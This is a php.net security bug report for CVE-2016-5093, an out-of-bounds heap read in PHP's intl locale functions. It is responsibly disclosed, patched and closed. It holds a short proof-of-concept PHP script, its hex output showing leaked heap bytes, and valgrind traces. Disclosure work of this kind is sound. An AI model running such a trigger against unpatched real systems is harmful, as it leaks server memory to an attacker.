php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #72241 get_icu_value_internal out-of-bounds read
Submitted: 2016-05-19 02:52 UTC Modified: 2016-05-26 21:04 UTC
From: fernando at null-life dot com Assigned: stas (profile)
Status: Closed Package: intl (PECL)
PHP Version: 5.5.35 OS: Linux
Private report: No CVE-ID: 2016-5093
 [2016-05-19 02:52 UTC] fernando at null-life dot com
Description:
------------
This was tested on PHP 7 with ASAN and USE_ZEND_ALLOC=0. Absence of null character causes unexpected zend_string length and leaks heap memory. 

The test script uses locale_get_primary_language to reach get_icu_value_internal but there are some other functions that also trigger this issue:

locale_canonicalize
locale_filter_matches
locale_lookup
locale_parse

I'm attaching a possible patch for review.
------------------------------
Source code

ext/intl/locale/locale_methods.c

static zend_string* get_icu_value_internal( const char* loc_name , char* tag_name, int* result , int fromParseLocale)
{
.....
    tag_value->len = strlen(tag_value->val);    
 // strlen keeps reading after the allocated memory because there's no null terminator, and returns a value bigger than 1000 
    return tag_value;
}


Test script:
---------------
<?php

$var1=str_repeat("A", 1000);
$out = locale_get_primary_language($var1);
echo strlen($out) . PHP_EOL;
echo unpack('H*', $out)[1] . PHP_EOL;

Expected result:
----------------
USE_ZEND_ALLOC=0 /home/user/php-7.0/sapi/cli/php  -n -dextension=/home/user/php-7.0/modules/intl.so poc.php
1000
61616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161

Actual result:
--------------
USE_ZEND_ALLOC=0 /home/user/php-7.0/sapi/cli/php  -n -dextension=/home/user/php-7.0/modules/intl.so poc.php
1006
61616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161e878dcece907

Patches

Add a Patch

Pull Requests

Add a Pull Request

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-05-19 03:08 UTC] fernando at null-life dot com
Forgot to add valgrind output:

Conditional jump or move depends on uninitialised value(s)
   at 0x4030387: strlen (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
   by 0x67C3B0F: get_icu_value_internal (locale_methods.c:371)
   by 0x67C3C40: get_icu_value_src_php (locale_methods.c:410)
   by 0x67C3DD9: zif_locale_get_primary_language (locale_methods.c:469)
   by 0x84B90E8: ZEND_DO_ICALL_SPEC_HANDLER (zend_vm_execute.h:586)
   by 0x84B8B89: execute_ex (zend_vm_execute.h:414)
   by 0x84B8C79: zend_execute (zend_vm_execute.h:458)
   by 0x84646C4: zend_execute_scripts (zend.c:1427)
   by 0x83DD4C6: php_execute_script (main.c:2494)
   by 0x851715F: do_cli (php_cli.c:974)
   by 0x85183AA: main (php_cli.c:1344)
 [2016-05-23 00:51 UTC] stas@php.net
-Assigned To: +Assigned To: stas
 [2016-05-23 00:51 UTC] stas@php.net
In security repo as 97eff7eb57fc2320c267a949cffd622c38712484 and in https://gist.github.com/anonymous/dba0092056c3cfa490e549e07a6cb92d. Please verify.
 [2016-05-23 00:54 UTC] stas@php.net
-PHP Version: 7.0.6 +PHP Version: 5.5.35
 [2016-05-23 22:51 UTC] fernando at null-life dot com
Patch works OK. Thanks.

$ git diff --name-only
ext/intl/locale/locale_methods.c
$ USE_ZEND_ALLOC=0 /home/user/php-7.0asan/sapi/cli/php -n -dextension=/home/user/php-7.0asan/modules/intl.so x.php 
1000
616161...
 [2016-05-24 23:30 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=97eff7eb57fc2320c267a949cffd622c38712484
Log: Fix bug #72241: get_icu_value_internal out-of-bounds read
 [2016-05-24 23:30 UTC] stas@php.net
-Status: Assigned +Status: Closed
 [2016-05-25 00:21 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=97eff7eb57fc2320c267a949cffd622c38712484
Log: Fix bug #72241: get_icu_value_internal out-of-bounds read
 [2016-05-25 03:51 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=97eff7eb57fc2320c267a949cffd622c38712484
Log: Fix bug #72241: get_icu_value_internal out-of-bounds read
 [2016-05-25 03:52 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=97eff7eb57fc2320c267a949cffd622c38712484
Log: Fix bug #72241: get_icu_value_internal out-of-bounds read
 [2016-05-25 03:53 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=97eff7eb57fc2320c267a949cffd622c38712484
Log: Fix bug #72241: get_icu_value_internal out-of-bounds read
 [2016-05-26 21:04 UTC] kaplan@php.net
-CVE-ID: +CVE-ID: 2016-5093
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Tue Mar 19 11:01:28 2024 UTC